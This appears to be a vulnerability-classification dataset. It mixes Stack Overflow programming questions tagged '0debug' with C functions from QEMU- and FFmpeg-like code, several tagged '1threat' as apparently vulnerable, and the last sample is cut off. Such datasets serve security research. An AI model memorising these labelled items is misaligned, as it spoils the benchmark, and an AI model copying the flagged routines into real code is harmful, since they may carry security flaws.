java.lang.NoSuchMethodError: org.springframework.util.ReflectionUtils.clearCache() : <p>I faced with a problem, was google it for a half of this day. Nothing could help me. It was working. But after that something has happened and i didn't capture that.</p>
<p>Here are TomCat Catalina Log</p>
<pre><code>31-Jan-2016 00:35:27.278 INFO [RMI TCP Connection(2)-127.0.0.1] null.null HHH000412: Hibernate Core {5.0.7.Final}
31-Jan-2016 00:35:27.282 INFO [RMI TCP Connection(2)-127.0.0.1] null.null HHH000205: Loaded properties from resource hibernate.properties: {hibernate.dialect=org.hibernate.dialect.MySQLDialect, hibernate.show_sql=true, hibernate.bytecode.use_reflection_optimizer=false, hibernate.hbm2ddl.auto=update}
31-Jan-2016 00:35:27.283 INFO [RMI TCP Connection(2)-127.0.0.1] null.null HHH000021: Bytecode provider name : javassist
31-Jan-2016 00:35:27.376 INFO [RMI TCP Connection(2)-127.0.0.1] null.null HCANN000001: Hibernate Commons Annotations {5.0.1.Final}
31-Jan-2016 00:35:28.170 INFO [RMI TCP Connection(2)-127.0.0.1] <unknown>.<unknown> HHH000400: Using dialect: org.hibernate.dialect.MySQLDialect
31-Jan-2016 00:35:29.632 INFO [RMI TCP Connection(2)-127.0.0.1] null.null HHH000228: Running hbm2ddl schema update
31-Jan-2016 00:35:30.331 SEVERE [RMI TCP Connection(2)-127.0.0.1] org.apache.catalina.core.StandardContext.startInternal One or more listeners failed to start. Full details will be found in the appropriate container log file
31-Jan-2016 00:35:30.349 SEVERE [RMI TCP Connection(2)-127.0.0.1] org.apache.catalina.core.StandardContext.startInternal Context [] startup failed due to previous errors
**31-Jan-2016 00:35:30.377 WARNING [RMI TCP Connection(2)-127.0.0.1] org.apache.catalina.loader.WebappClassLoaderBase.clearReferencesJdbc The web application [ROOT] registered the JDBC driver [com.mysql.jdbc.Driver] but failed to unregister it when the web application was stopped. To prevent a memory leak, the JDBC Driver has been forcibly unregistered.**
31-Jan-2016 00:35:32.709 INFO [localhost-startStop-1] org.apache.catalina.startup.HostConfig.deployDirectory Deploying web application directory /usr/local/apache-tomcat-8.0.24/webapps/manager
31-Jan-2016 00:35:32.907 INFO [localhost-startStop-1] org.apache.catalina.startup.HostConfig.deployDirectory Deployment of web application directory /usr/local/apache-tomcat-8.0.24/webapps/manager has finished in 197 ms
</code></pre>
<hr>
<p>Localhost Log</p>
<pre><code> java.lang.NoSuchMethodError: org.springframework.util.ReflectionUtils.clearCache()V
at org.springframework.context.support.AbstractApplicationContext.resetCommonCaches(AbstractApplicationContext.java:879)
at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:563)
at org.springframework.web.context.ContextLoader.configureAndRefreshWebApplicationContext(ContextLoader.java:446)
at org.springframework.web.context.ContextLoader.initWebApplicationContext(ContextLoader.java:328)
at org.springframework.web.context.ContextLoaderListener.contextInitialized(ContextLoaderListener.java:107)
at org.apache.catalina.core.StandardContext.listenerStart(StandardContext.java:4727)
at org.apache.catalina.core.StandardContext.startInternal(StandardContext.java:5167)
at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:150)
at org.apache.catalina.core.ContainerBase.addChildInternal(ContainerBase.java:725)
at org.apache.catalina.core.ContainerBase.addChild(ContainerBase.java:701)
at org.apache.catalina.core.StandardHost.addChild(StandardHost.java:717)
at org.apache.catalina.startup.HostConfig.manageApp(HostConfig.java:1648)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at org.apache.tomcat.util.modeler.BaseModelMBean.invoke(BaseModelMBean.java:300)
at com.sun.jmx.interceptor.DefaultMBeanServerInterceptor.invoke(DefaultMBeanServerInterceptor.java:819)
at com.sun.jmx.mbeanserver.JmxMBeanServer.invoke(JmxMBeanServer.java:801)
at org.apache.catalina.mbeans.MBeanFactory.createStandardContext(MBeanFactory.java:463)
at org.apache.catalina.mbeans.MBeanFactory.createStandardContext(MBeanFactory.java:413)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at org.apache.tomcat.util.modeler.BaseModelMBean.invoke(BaseModelMBean.java:300)
at com.sun.jmx.interceptor.DefaultMBeanServerInterceptor.invoke(DefaultMBeanServerInterceptor.java:819)
at com.sun.jmx.mbeanserver.JmxMBeanServer.invoke(JmxMBeanServer.java:801)
at javax.management.remote.rmi.RMIConnectionImpl.doOperation(RMIConnectionImpl.java:1466)
at javax.management.remote.rmi.RMIConnectionImpl.access$300(RMIConnectionImpl.java:76)
at javax.management.remote.rmi.RMIConnectionImpl$PrivilegedOperation.run(RMIConnectionImpl.java:1307)
at javax.management.remote.rmi.RMIConnectionImpl.doPrivilegedOperation(RMIConnectionImpl.java:1399)
at javax.management.remote.rmi.RMIConnectionImpl.invoke(RMIConnectionImpl.java:828)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:323)
at sun.rmi.transport.Transport$1.run(Transport.java:200)
at sun.rmi.transport.Transport$1.run(Transport.java:197)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:568)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:826)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$254(TCPTransport.java:683)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1/2146013565.run(Unknown Source)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:682)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
</code></pre>
<hr>
<p>My DatabaseConfig</p>
<pre><code>@Configuration
@EnableJpaRepositories("cards.server.repository")
@EnableTransactionManagement
@ComponentScan(value = "cards.server")
@PropertySource({
"classpath:database.properties",
"classpath:hibernate.properties"}
)
public class DatabaseConfig extends IOException {
@Autowired
private Environment env;
@Bean(name = "entityManager")
public LocalContainerEntityManagerFactoryBean entityManagerFactory() {
LocalContainerEntityManagerFactoryBean em = new LocalContainerEntityManagerFactoryBean();
em.setDataSource(dataSource());
em.setPackagesToScan(env.getRequiredProperty("db.entity.package"));
em.setJpaVendorAdapter(new HibernateJpaVendorAdapter());
em.setJpaProperties(getHibernateProperties());
return em;
}
@Bean(name = "dataSource")
public DataSource dataSource() {
BasicDataSource ds = new BasicDataSource();
ds.setUrl(env.getRequiredProperty("db.url"));
ds.setDriverClassName(env.getRequiredProperty("db.driver"));
ds.setUsername(env.getRequiredProperty("db.username"));
ds.setPassword(env.getRequiredProperty("db.password"));
ds.setInitialSize(Integer.valueOf(env.getRequiredProperty("db.initialSize")));
ds.setMinIdle(Integer.valueOf(env.getRequiredProperty("db.minIdle")));
ds.setMaxIdle(Integer.valueOf(env.getRequiredProperty("db.maxIdle")));
ds.setTimeBetweenEvictionRunsMillis(Long.valueOf(env.getRequiredProperty("db.timeBetweenEvictionRunsMillis")));
ds.setMinEvictableIdleTimeMillis(Long.valueOf(env.getRequiredProperty("db.minEvictableIdleTimeMillis")));
ds.setTestOnBorrow(Boolean.valueOf(env.getRequiredProperty("db.testOnBorrow")));
ds.setValidationQuery(env.getRequiredProperty("db.validationQuery"));
return ds;
}
@Bean(name = "transactionManager")
public PlatformTransactionManager platformTransactionManager() {
JpaTransactionManager manager = new JpaTransactionManager();
manager.setEntityManagerFactory(entityManagerFactory().getObject());
return manager;
}
public Properties getHibernateProperties() {
Properties properties = new Properties();
properties.getProperty(env.getProperty("hibernate.dialect"));
properties.getProperty(env.getProperty("hibernate.show_sql"));
properties.getProperty(env.getProperty("hibernate.hbm2ddl.auto"));
return properties;
}
}
</code></pre>
<hr>
<p>pom.xml</p>
<pre><code><?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>cards.server</groupId>
<artifactId>cards.server</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>war</packaging>
<!-- cmd + alt + v -->
<properties>
<spring-core.version>4.2.2.RELEASE</spring-core.version>
<javax.servlet-api.version>3.1.0</javax.servlet-api.version>
<spring-data-jpa.version>1.9.2.RELEASE</spring-data-jpa.version>
<hibernate-entitymanager.version>5.0.7.Final</hibernate-entitymanager.version>
<mysql-connector-java.version>5.1.38</mysql-connector-java.version>
<commons-dbcp2.version>2.1.1</commons-dbcp2.version>
<jta.version>1.1</jta.version>
<postgresql.version>9.1-901-1.jdbc4</postgresql.version>
<junit.version>4.12</junit.version>
<spring-webmvc.version>4.2.4.RELEASE</spring-webmvc.version>
<spring-test.version>4.1.6.RELEASE</spring-test.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>${spring-core.version}</version>
</dependency>
<!-- Web -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>${spring-core.version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>${spring-webmvc.version}</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>${javax.servlet-api.version}</version>
</dependency>
<!--<dependency>-->
<!--<groupId>jstl</groupId>-->
<!--<artifactId>jstl</artifactId>-->
<!--<version>1.2</version>-->
<!--</dependency>-->
<!-- Database -->
<dependency>
<groupId>org.springframework.data</groupId>
<artifactId>spring-data-jpa</artifactId>
<version>${spring-data-jpa.version}</version>
</dependency>
<dependency>
<groupId>org.hibernate</groupId>
<artifactId>hibernate-entitymanager</artifactId>
<version>${hibernate-entitymanager.version}</version>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>${mysql-connector-java.version}</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-dbcp2</artifactId>
<version>${commons-dbcp2.version}</version>
</dependency>
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>${jta.version}</version>
</dependency>
<!--<dependency>-->
<!--<groupId>postgresql</groupId>-->
<!--<artifactId>postgresql</artifactId>-->
<!--<version>${postgresql.version}</version>-->
<!--</dependency>-->
<!-- Test -->
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>${junit.version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-test</artifactId>
<version>${spring-test.version}</version>
</dependency>
</dependencies>
</project>
</code></pre>
<p>Hoping for your help,
Thank you.</p>
| 0debug
|
setCloseButtonIcon() method doesn't change default Close button : <p>I try to change default icon for Close Button in Chrome custom tabs (CustomTabsIntent.Builder)</p>
<p>Simple code for testing:</p>
<pre><code>Bitmap closeIcon = BitmapFactory.decodeResource(getResources(), R.mipmap.ic_launcher);
intentBuilder.setCloseButtonIcon(closeIcon);
</code></pre>
<p>But nothing happens. Why? (Nexus 7, Marshmallow)</p>
| 0debug
|
static void vfio_platform_eoi(VFIODevice *vbasedev)
{
VFIOINTp *intp;
VFIOPlatformDevice *vdev =
container_of(vbasedev, VFIOPlatformDevice, vbasedev);
qemu_mutex_lock(&vdev->intp_mutex);
QLIST_FOREACH(intp, &vdev->intp_list, next) {
if (intp->state == VFIO_IRQ_ACTIVE) {
trace_vfio_platform_eoi(intp->pin,
event_notifier_get_fd(intp->interrupt));
intp->state = VFIO_IRQ_INACTIVE;
qemu_set_irq(intp->qemuirq, 0);
if (intp->flags & VFIO_IRQ_INFO_AUTOMASKED) {
vfio_unmask_single_irqindex(vbasedev, intp->pin);
}
break;
}
}
if (!QSIMPLEQ_EMPTY(&vdev->pending_intp_queue)) {
intp = QSIMPLEQ_FIRST(&vdev->pending_intp_queue);
vfio_intp_inject_pending_lockheld(intp);
QSIMPLEQ_REMOVE_HEAD(&vdev->pending_intp_queue, pqnext);
}
qemu_mutex_unlock(&vdev->intp_mutex);
}
| 1threat
|
static int ebml_read_ascii(AVIOContext *pb, int size, char **str)
{
av_free(*str);
if (!(*str = av_malloc(size + 1)))
return AVERROR(ENOMEM);
if (avio_read(pb, (uint8_t *) *str, size) != size) {
av_freep(str);
return AVERROR(EIO);
}
(*str)[size] = '\0';
return 0;
}
| 1threat
|
The reason of this alignment technique on css : I've got a question over here:
I'm new with css, and I've been searching online about horizontal and vertical alignment techniques and I found plenty of them. However, given that I finished my first css and html course and the next step is responsive design I wanted to lear to work with % instead of exact units which led me to this technique:
top: 50%;
left: 50%;
transform: translateX(-50%) translateY(-50%);
I know that with absolute positioned elements the top, bottom, right and left properties set space between the element and the edge of its ancestor or father if there's one. In the technique they put the element 50% below and 50% to the left which is logical if the intention is to center horizontally and vertically the element, but why the transform property that is used to rotate, scale, move elements is used with negative values??.
Hope you can explain this for me, thank you for your time.
Here's my code:
<!-- begin snippet: js hide: false console: true babel: false -->
<!-- language: lang-css -->
.container {
height: 700px;
display: block;
width: 100%;
height: 700px;
text-align: center;
overflow: hidden;
}
.container img{
background-size: cover;
}
.container > h1 {
font-size: 72px;
position: absolute;
color: white;
width: 100%;
top: 50%;
left: 50%;
transform: translateX(-50%) translateY(-50%);
}
<!-- language: lang-html -->
<div class="container">
<h1>Enjoy This Magical Experience</h1>
<img src="https://static.tumblr.com/737181aea20b4523b6fce168a29fe06b/nwsqmvx/cIhmrn4un/tumblr_static_bigstock_silhouettes_of_concert_crowd_i_1565261621.jpg"/>
</div>
<!-- end snippet -->
| 0debug
|
Inferring parameter type for a lambda (again!) : <p>I am wondering why does this not work (missing parameter type)? </p>
<pre><code> Seq(1,2,3).toSet.map(_ + 1)
</code></pre>
<p>but this does: </p>
<pre><code> val foo = Seq(1,2,3).toSet
foo.map(_ + 1)
</code></pre>
<p>as well as this: (3)</p>
<pre><code> Seq(1,2,3).toSet[Int].map(_ + 1)
</code></pre>
<p>or this: </p>
<pre><code> Seq(1,2,3).toList.map(_ + 1)
</code></pre>
<p>What is special about <code>toSet</code> that makes it loose the type in the first case, but not in the second?</p>
| 0debug
|
Compare two CSV files with different column numbers on basis of a common column : <p>Using powershell for the first time.
I have 2 csv files. Each have different number of columns, and have different number of entries and not in same sequence.</p>
<p>Here are some examples of the first couple lines</p>
<blockquote>
<p>File1.csv</p>
</blockquote>
<pre><code> Name,Alias,Category
Comdty,CONTRACT FOR DIFFERENCE,Future
Comdty,Calendar Spread Option,Future
Corp,Bond,FixedIncome
Corp,EURO-DOLLAR,FixedIncome
Corp,FLOORSPREAD,FixedIncome
Corp,FRA,FixedIncome
</code></pre>
<blockquote>
<p>File2.CSV</p>
</blockquote>
<pre><code>Alias,Category
EURO-DOLLAR,FixedIncome
Bond,FixedIncome
Preferred,Equity
</code></pre>
<p>I need to compare the files using PowerShell script on the basis of Alias column,and show the matching values together and showing blank where the value not exist for either file.
Something like :</p>
<pre><code> Alias,Alias, Category ------------------------- MacthCase
___,CONTRACT FOR DIFFERENCE,Future ------------ false
___,Calendar Spread Option,Future ------------- false
Bond,Bond,FixedIncome ------------------------- true
EURO-DOLLAR,EURO-DOLLAR,FixedIncome ----------- true
___,FLOORSPREAD,FixedIncome ------------------- false
___,FRA,FixedIncome --------------------------- false
Preferred,___,Equity -------------------------- false
</code></pre>
| 0debug
|
Puzzling behaviour when printf'ing floats : Can someone explain this behaviour of C's `printf` ?
printf("%.03f", 79.2025); /* "79.203" */
printf("%.03f", 22.7565); /* "22.756" */
| 0debug
|
static int rtp_read(URLContext *h, uint8_t *buf, int size)
{
RTPContext *s = h->priv_data;
struct sockaddr_storage from;
socklen_t from_len;
int len, fd_max, n;
fd_set rfds;
struct timeval tv;
#if 0
for(;;) {
from_len = sizeof(from);
len = recvfrom (s->rtp_fd, buf, size, 0,
(struct sockaddr *)&from, &from_len);
if (len < 0) {
if (ff_neterrno() == FF_NETERROR(EAGAIN) ||
ff_neterrno() == FF_NETERROR(EINTR))
continue;
return AVERROR(EIO);
}
break;
}
#else
for(;;) {
if (url_interrupt_cb())
return AVERROR(EINTR);
FD_ZERO(&rfds);
fd_max = s->rtp_fd;
FD_SET(s->rtp_fd, &rfds);
if (s->rtcp_fd > fd_max)
fd_max = s->rtcp_fd;
FD_SET(s->rtcp_fd, &rfds);
tv.tv_sec = 0;
tv.tv_usec = 100 * 1000;
n = select(fd_max + 1, &rfds, NULL, NULL, &tv);
if (n > 0) {
if (FD_ISSET(s->rtcp_fd, &rfds)) {
from_len = sizeof(from);
len = recvfrom (s->rtcp_fd, buf, size, 0,
(struct sockaddr *)&from, &from_len);
if (len < 0) {
if (ff_neterrno() == FF_NETERROR(EAGAIN) ||
ff_neterrno() == FF_NETERROR(EINTR))
continue;
return AVERROR(EIO);
}
break;
}
if (FD_ISSET(s->rtp_fd, &rfds)) {
from_len = sizeof(from);
len = recvfrom (s->rtp_fd, buf, size, 0,
(struct sockaddr *)&from, &from_len);
if (len < 0) {
if (ff_neterrno() == FF_NETERROR(EAGAIN) ||
ff_neterrno() == FF_NETERROR(EINTR))
continue;
return AVERROR(EIO);
}
break;
}
} else if (n < 0) {
if (ff_neterrno() == FF_NETERROR(EINTR))
continue;
return AVERROR(EIO);
}
}
#endif
return len;
}
| 1threat
|
void qemu_main_loop_start(void)
{
qemu_system_ready = 1;
qemu_cond_broadcast(&qemu_system_cond);
}
| 1threat
|
static void start_children(FFServerStream *feed)
{
char *pathname;
char *slash;
int i;
size_t cmd_length;
if (no_launch)
return;
cmd_length = strlen(my_program_name);
if (cmd_length > PATH_LENGTH - 1) {
http_log("Could not start children. Command line: '%s' exceeds "
"path length limit (%d)\n", my_program_name, PATH_LENGTH);
return;
}
pathname = av_strdup (my_program_name);
if (!pathname) {
http_log("Could not allocate memory for children cmd line\n");
return;
}
slash = strrchr(pathname, '/');
if (!slash)
slash = pathname;
else
slash++;
strcpy(slash, "ffmpeg");
for (; feed; feed = feed->next) {
if (!feed->child_argv || feed->pid)
continue;
feed->pid_start = time(0);
feed->pid = fork();
if (feed->pid < 0) {
http_log("Unable to create children: %s\n", strerror(errno));
av_free (pathname);
exit(EXIT_FAILURE);
}
if (feed->pid)
continue;
http_log("Launch command line: ");
http_log("%s ", pathname);
for (i = 1; feed->child_argv[i] && feed->child_argv[i][0]; i++)
http_log("%s ", feed->child_argv[i]);
http_log("\n");
for (i = 3; i < 256; i++)
close(i);
if (!config.debug) {
if (!freopen("/dev/null", "r", stdin))
http_log("failed to redirect STDIN to /dev/null\n;");
if (!freopen("/dev/null", "w", stdout))
http_log("failed to redirect STDOUT to /dev/null\n;");
if (!freopen("/dev/null", "w", stderr))
http_log("failed to redirect STDERR to /dev/null\n;");
}
signal(SIGPIPE, SIG_DFL);
execvp(pathname, feed->child_argv);
av_free (pathname);
_exit(1);
}
av_free (pathname);
}
| 1threat
|
MYSQL JOIN NOT WORK : I have tables:
TABLE: USERS
[id, name]
[1 , 'Johny Bravo']
TABLE: ORDERS
[id, users_id, number]
[ 1, 1, 111111]
[ 2, 1, 2222222]
[ 3, 1, 3333333]
[ 4, 1, 3333333]
TABLE: EXAMPLE
[id, text, number]
[ 1, 'test', 111111]
[ 2, 'test2', 111111]
[ 3, 'test3', 2222222]
[ 4, 'test4', 2222222]
[ 5, 'test5', 3333333]
[ 6, 'test6', 3333333]
GOOD RESULT:
id: 1
name: Johny Brawo
count(orders): 4
count(example): 6
MY QUERY (not work):
SELECT users.id, users.name, count(orders.id), count(example.id)
FROM users
LEFT JOIN orders ON orders.users_id=users.id
LEFT JOIN example ON example.number=orders.number
GROUP BY users.id
the number is multiplied...
Help me :)
| 0debug
|
WPF DataGrid......I want Display images in datagrid using WPF : I want to display images in DataGrid from Database and I am using WPF[enter image description here][1]
[1]: http://i.stack.imgur.com/bM0lP.png
I can retrive image name as u can see in Image Column ,but not able to display it
| 0debug
|
Woocommerce Remove Coupon Section from Checkout Page : <p>I am trying to remove the "Have a coupon" section that sits at the top of a Woocommerce checkout page (/checkout).</p>
<p>I would like to keep the coupon section on the Cart page, so I can't completely disable coupons, but would like it removed on the checkout page.</p>
<p>Any help would be greatly appreciated.</p>
| 0debug
|
static int64_t seek_to_sector(BDRVParallelsState *s, int64_t sector_num)
{
uint32_t index, offset;
index = sector_num / s->tracks;
offset = sector_num % s->tracks;
if ((index >= s->catalog_size) || (s->catalog_bitmap[index] == 0))
return -1;
return (uint64_t)s->catalog_bitmap[index] * s->off_multiplier + offset;
}
| 1threat
|
Angular 5 : Left fill function like PHP str_pad in Angular 5 : Is there a way to replicate PHP str_pad in Angular 5 ?
Not in the template file or via pipe, but from the TS file.
Ex PHP
<?php
$str = "Hello World";
echo str_pad($str,20,".",STR_PAD_LEFT);
?>
I created a fn quicky
my_pad(stringval,length) {
// Force to fill with zero
const fill = '0000000000000000000000000';
return String(fill + stringval).slice(-length);
}
this.someservice.newvalue = this.my_pad('234',6);
// expected this.my_pad('234',6) to return 000234
Is there a smarter way or better way to create this type of function? Or if there is a generic version in Angular ( did not find any so far )
| 0debug
|
SCSIDevice *scsi_disk_init(BlockDriverState *bdrv, int tcq,
scsi_completionfn completion, void *opaque)
{
SCSIDevice *d;
SCSIDeviceState *s;
s = (SCSIDeviceState *)qemu_mallocz(sizeof(SCSIDeviceState));
s->bdrv = bdrv;
s->tcq = tcq;
s->completion = completion;
s->opaque = opaque;
if (bdrv_get_type_hint(s->bdrv) == BDRV_TYPE_CDROM) {
s->cluster_size = 4;
} else {
s->cluster_size = 1;
}
bdrv_get_geometry(s->bdrv, &nb_sectors);
nb_sectors /= s->cluster_size;
if (nb_sectors)
nb_sectors--;
s->max_lba = nb_sectors;
strncpy(s->drive_serial_str, drive_get_serial(s->bdrv),
sizeof(s->drive_serial_str));
if (strlen(s->drive_serial_str) == 0)
pstrcpy(s->drive_serial_str, sizeof(s->drive_serial_str), "0");
qemu_add_vm_change_state_handler(scsi_dma_restart_cb, s);
d = (SCSIDevice *)qemu_mallocz(sizeof(SCSIDevice));
d->state = s;
d->destroy = scsi_destroy;
d->send_command = scsi_send_command;
d->read_data = scsi_read_data;
d->write_data = scsi_write_data;
d->cancel_io = scsi_cancel_io;
d->get_buf = scsi_get_buf;
return d;
}
| 1threat
|
python script to get the unique value by comparing the first column from a list of three csv files : There are three files file1.csv,file2.csv.file3.csv with 6 columns in each file.
i want to find the unique value in first column by comparing among all the three files at a time and print the output from python
file1.csv
11 12 13 14 15 16
22 23 24 25 26 27
11 32 33 34 35 36
file2.csv
44 45 46 47 48 49
55 56 57 58 59 60
44 66 67 68 69 70
file3.csv
71 72 73 74 75 76
11 82 83 84 85 86
71 92 93 94 95 96
script output should look like:
22
55
explanation for the output:
output is 22 and 55 why because file1 first column unique is only 22 and file 2 first column unique is 55 and in file3 their is no unique because 11 and 77 are repeated.
| 0debug
|
static int ass_split(ASSSplitContext *ctx, const char *buf)
{
char c, section[16];
int i;
if (ctx->current_section >= 0)
buf = ass_split_section(ctx, buf);
while (buf && *buf) {
if (sscanf(buf, "[%15[0-9A-Za-z+ ]]%c", section, &c) == 2) {
buf += strcspn(buf, "\n") + 1;
for (i=0; i<FF_ARRAY_ELEMS(ass_sections); i++)
if (!strcmp(section, ass_sections[i].section)) {
ctx->current_section = i;
buf = ass_split_section(ctx, buf);
}
} else
buf += strcspn(buf, "\n") + 1;
}
return buf ? 0 : AVERROR_INVALIDDATA;
}
| 1threat
|
What does "application/json'" really mean : <p>I don't know application's mean in "application/json", and can I replace it with "text/json". so application = text ?</p>
| 0debug
|
static int nvme_init(PCIDevice *pci_dev)
{
NvmeCtrl *n = NVME(pci_dev);
NvmeIdCtrl *id = &n->id_ctrl;
int i;
int64_t bs_size;
uint8_t *pci_conf;
if (!(n->conf.bs)) {
return -1;
}
bs_size = bdrv_getlength(n->conf.bs);
if (bs_size < 0) {
return -1;
}
blkconf_serial(&n->conf, &n->serial);
if (!n->serial) {
return -1;
}
pci_conf = pci_dev->config;
pci_conf[PCI_INTERRUPT_PIN] = 1;
pci_config_set_prog_interface(pci_dev->config, 0x2);
pci_config_set_class(pci_dev->config, PCI_CLASS_STORAGE_EXPRESS);
pcie_endpoint_cap_init(&n->parent_obj, 0x80);
n->num_namespaces = 1;
n->num_queues = 64;
n->reg_size = 1 << qemu_fls(0x1004 + 2 * (n->num_queues + 1) * 4);
n->ns_size = bs_size / (uint64_t)n->num_namespaces;
n->namespaces = g_new0(NvmeNamespace, n->num_namespaces);
n->sq = g_new0(NvmeSQueue *, n->num_queues);
n->cq = g_new0(NvmeCQueue *, n->num_queues);
memory_region_init_io(&n->iomem, OBJECT(n), &nvme_mmio_ops, n,
"nvme", n->reg_size);
pci_register_bar(&n->parent_obj, 0,
PCI_BASE_ADDRESS_SPACE_MEMORY | PCI_BASE_ADDRESS_MEM_TYPE_64,
&n->iomem);
msix_init_exclusive_bar(&n->parent_obj, n->num_queues, 4);
id->vid = cpu_to_le16(pci_get_word(pci_conf + PCI_VENDOR_ID));
id->ssvid = cpu_to_le16(pci_get_word(pci_conf + PCI_SUBSYSTEM_VENDOR_ID));
strpadcpy((char *)id->mn, sizeof(id->mn), "QEMU NVMe Ctrl", ' ');
strpadcpy((char *)id->fr, sizeof(id->fr), "1.0", ' ');
strpadcpy((char *)id->sn, sizeof(id->sn), n->serial, ' ');
id->rab = 6;
id->ieee[0] = 0x00;
id->ieee[1] = 0x02;
id->ieee[2] = 0xb3;
id->oacs = cpu_to_le16(0);
id->frmw = 7 << 1;
id->lpa = 1 << 0;
id->sqes = (0x6 << 4) | 0x6;
id->cqes = (0x4 << 4) | 0x4;
id->nn = cpu_to_le32(n->num_namespaces);
id->psd[0].mp = cpu_to_le16(0x9c4);
id->psd[0].enlat = cpu_to_le32(0x10);
id->psd[0].exlat = cpu_to_le32(0x4);
n->bar.cap = 0;
NVME_CAP_SET_MQES(n->bar.cap, 0x7ff);
NVME_CAP_SET_CQR(n->bar.cap, 1);
NVME_CAP_SET_AMS(n->bar.cap, 1);
NVME_CAP_SET_TO(n->bar.cap, 0xf);
NVME_CAP_SET_CSS(n->bar.cap, 1);
n->bar.vs = 0x00010001;
n->bar.intmc = n->bar.intms = 0;
for (i = 0; i < n->num_namespaces; i++) {
NvmeNamespace *ns = &n->namespaces[i];
NvmeIdNs *id_ns = &ns->id_ns;
id_ns->nsfeat = 0;
id_ns->nlbaf = 0;
id_ns->flbas = 0;
id_ns->mc = 0;
id_ns->dpc = 0;
id_ns->dps = 0;
id_ns->lbaf[0].ds = BDRV_SECTOR_BITS;
id_ns->ncap = id_ns->nuse = id_ns->nsze =
cpu_to_le64(n->ns_size >>
id_ns->lbaf[NVME_ID_NS_FLBAS_INDEX(ns->id_ns.flbas)].ds);
}
return 0;
}
| 1threat
|
Does reference type serve two purposes in object creation? : <p>Suppose you have your standard java example:</p>
<pre><code>class Animal {
// some methods and a constructor are here
}
class Dog extends Animal {
// some methods and a constructor are here
}
</code></pre>
<p>When you create a new dog object, you do</p>
<pre><code>Dog x = new Dog()
^
</code></pre>
<p>The reference type 'Dog' that is pointed to has a purpose; it makes x into a reference type variable because x needs to hold a memory address or at least some bit of data that points you toward the Dog object, which is located in the heap. A primitive type would not be able to modify x to perform that purpose. So that's purpose 1 of the reference type.</p>
<p>However, it also serves a different purpose; it modifies the capabilities of the object Dog(). If you wrote</p>
<pre><code>Animal x = new Dog ()
</code></pre>
<p>From my experiments, the object Dog would be able to perform all methods specified in the Animal class, but it would not be able to to perform methods specified in the Dog class. Whereas, a</p>
<pre><code>Dog x = new Dog ()
</code></pre>
<p>Would be able to perform all methods in the Animal class as well as the methods in the Dog class. So clearly, the reference type has some influence on the object's nature itself.</p>
<p><strong>My question: is it true that the reference type serves two purpose? Purpose 1: It allows the variable to hold a memory address or something similar. Purpose 2: It modifies the capabilities of the newly created object. Or am I misunderstanding something?</strong></p>
<p>(If you would like to mark this as a duplicate or close it, I would appreciate it if you took the time to read the question first rather than closing it based on a cursory glance of some keywords in the question. Thank you)</p>
| 0debug
|
static void imx6_defer_clear_reset_bit(int cpuid,
IMX6SRCState *s,
unsigned long reset_shift)
{
struct SRCSCRResetInfo *ri;
ri = g_malloc(sizeof(struct SRCSCRResetInfo));
ri->s = s;
ri->reset_bit = reset_shift;
async_run_on_cpu(arm_get_cpu_by_id(cpuid), imx6_clear_reset_bit,
RUN_ON_CPU_HOST_PTR(ri));
}
| 1threat
|
void ide_sector_write(IDEState *s)
{
int64_t sector_num;
int n;
s->status = READY_STAT | SEEK_STAT | BUSY_STAT;
sector_num = ide_get_sector(s);
#if defined(DEBUG_IDE)
printf("sector=%" PRId64 "\n", sector_num);
#endif
n = s->nsector;
if (n > s->req_nb_sectors) {
n = s->req_nb_sectors;
s->iov.iov_base = s->io_buffer;
s->iov.iov_len = n * BDRV_SECTOR_SIZE;
